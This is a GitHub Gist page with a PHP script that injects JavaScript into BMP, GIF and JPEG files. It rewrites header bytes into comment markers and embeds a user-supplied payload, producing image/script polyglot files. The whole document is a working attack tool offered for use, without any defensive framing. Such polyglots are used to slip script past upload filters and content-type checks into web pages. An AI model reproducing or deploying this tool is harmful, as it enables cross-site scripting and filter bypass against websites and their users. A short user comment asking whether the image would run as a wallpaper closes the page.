Last active
February 20, 2022 00:06
-
-
Save mokhdzanifaeq/9482075 to your computer and use it in GitHub Desktop.
inject javascript into images (BMP,JPG,GIF)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//GIF && BMP | |
function GNB($data, $payload, $pos) { | |
$data = str_replace(['2f2a', '2a2f'], '0000', $data); | |
$data = substr_replace($data, '2f2a', $pos, 4); | |
$data .= array_shift( unpack('H*', '*/=1;' . $payload) ); | |
return $data; | |
} | |
//JPG | |
function JPG($data, $payload) { | |
$data = str_replace(['2f2a', '2a2f'], '0000', $data); | |
$data = substr_replace($data, '2f2a', 8, 4); | |
$cave = str_repeat('41', 12058); | |
$data = substr_replace($data, $cave, 40, 0); | |
$code = array_shift( unpack('H*', '*/=1;' . $payload . '/*') ); | |
$data = substr_replace($data, $code, 40, strlen($code)); | |
return $data; | |
} | |
//MAIN | |
$ext = strtolower(pathinfo($argv[1], PATHINFO_EXTENSION)); | |
$hex = array_shift( unpack( "H*", file_get_contents($argv[1]) ) ); | |
$pay = $argv[2]; | |
if ($ext == 'gif') $data = GNB($hex, $pay, 12); | |
elseif ($ext == 'bmp') $data = GNB($hex, $pay, 4); | |
elseif ($ext == 'jpg' || $ext == "jpeg") $data = JPG($hex, $pay); | |
else echo '[!] error: file extension is not supported'; | |
$char = pack("H*", $data); | |
$name = '_' . basename($argv[1], '.' . $ext) . '.' . $ext; | |
file_put_contents($name, $char); | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
does this work? would it run if I were to just download the image and uses it as a wallpaper